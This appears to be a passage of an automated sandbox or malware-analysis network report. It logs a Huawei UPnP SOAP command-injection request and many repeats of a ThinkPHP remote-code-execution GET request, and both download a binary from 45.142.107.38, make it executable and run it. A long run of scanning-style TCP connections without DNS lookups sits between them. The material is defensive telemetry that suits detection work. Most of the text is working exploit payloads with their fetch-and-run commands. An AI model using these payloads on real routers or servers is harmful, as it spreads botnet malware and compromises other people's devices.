33 38 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.142.107.38 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 157.26.184.62
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.145.181
Source: unknown	TCP traffic detected without corresponding DNS query: 157.226.60.63
Source: unknown	TCP traffic detected without corresponding DNS query: 157.128.87.210
Source: unknown	TCP traffic detected without corresponding DNS query: 157.206.178.89
Source: unknown	TCP traffic detected without corresponding DNS query: 157.200.70.204
Source: unknown	TCP traffic detected without corresponding DNS query: 157.47.81.86
Source: unknown	TCP traffic detected without corresponding DNS query: 157.113.23.88
Source: unknown	TCP traffic detected without corresponding DNS query: 157.8.124.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.59.177
Source: unknown	TCP traffic detected without corresponding DNS query: 157.156.80.122
Source: unknown	TCP traffic detected without corresponding DNS query: 157.242.201.108
Source: unknown	TCP traffic detected without corresponding DNS query: 157.248.95.90
Source: unknown	TCP traffic detected without corresponding DNS query: 157.24.140.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.252.208.188
Source: unknown	TCP traffic detected without corresponding DNS query: 157.18.200.237
Source: unknown	TCP traffic detected without corresponding DNS query: 157.9.109.225
Source: unknown	TCP traffic detected without corresponding DNS query: 157.121.120.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.206.149.171
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.217.174
Source: unknown	TCP traffic detected without corresponding DNS query: 157.93.113.187
Source: unknown	TCP traffic detected without corresponding DNS query: 157.203.139.119
Source: unknown	TCP traffic detected without corresponding DNS query: 157.183.252.73
Source: unknown	TCP traffic detected without corresponding DNS query: 157.41.190.63
Source: unknown	TCP traffic detected without corresponding DNS query: 157.31.47.169
Source: unknown	TCP traffic detected without corresponding DNS query: 157.214.250.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.93.124.66
Source: unknown	TCP traffic detected without corresponding DNS query: 157.255.84.51
Source: unknown	TCP traffic detected without corresponding DNS query: 157.164.127.138
Source: unknown	TCP traffic detected without corresponding DNS query: 157.188.167.162
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.200.232
Source: unknown	TCP traffic detected without corresponding DNS query: 157.49.50.244
Source: unknown	TCP traffic detected without corresponding DNS query: 157.85.104.241
Source: unknown	TCP traffic detected without corresponding DNS query: 157.211.222.184
Source: unknown	TCP traffic detected without corresponding DNS query: 157.99.51.127
Source: unknown	TCP traffic detected without corresponding DNS query: 157.54.49.234
Source: unknown	TCP traffic detected without corresponding DNS query: 157.70.203.221
Source: unknown	TCP traffic detected without corresponding DNS query: 157.166.21.243
Source: unknown	TCP traffic detected without corresponding DNS query: 157.0.246.211
Source: unknown	TCP traffic detected without corresponding DNS query: 157.61.199.72
Source: unknown	TCP traffic detected without corresponding DNS query: 157.11.169.26
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.45.59
Source: unknown	TCP traffic detected without corresponding DNS query: 157.235.242.188
Source: unknown	TCP traffic detected without corresponding DNS query: 157.29.72.139
Source: unknown	TCP traffic detected without corresponding DNS query: 157.76.143.151
Source: unknown	TCP traffic detected without corresponding DNS query: 157.64.178.192
Source: unknown	TCP traffic detected without corresponding DNS query: 157.51.222.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.182.127.105
Source: unknown	TCP traffic detected without corresponding DNS query: 157.105.109.125
Source: unknown	TCP traffic detected without corresponding DNS query: 157.209.219.137

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
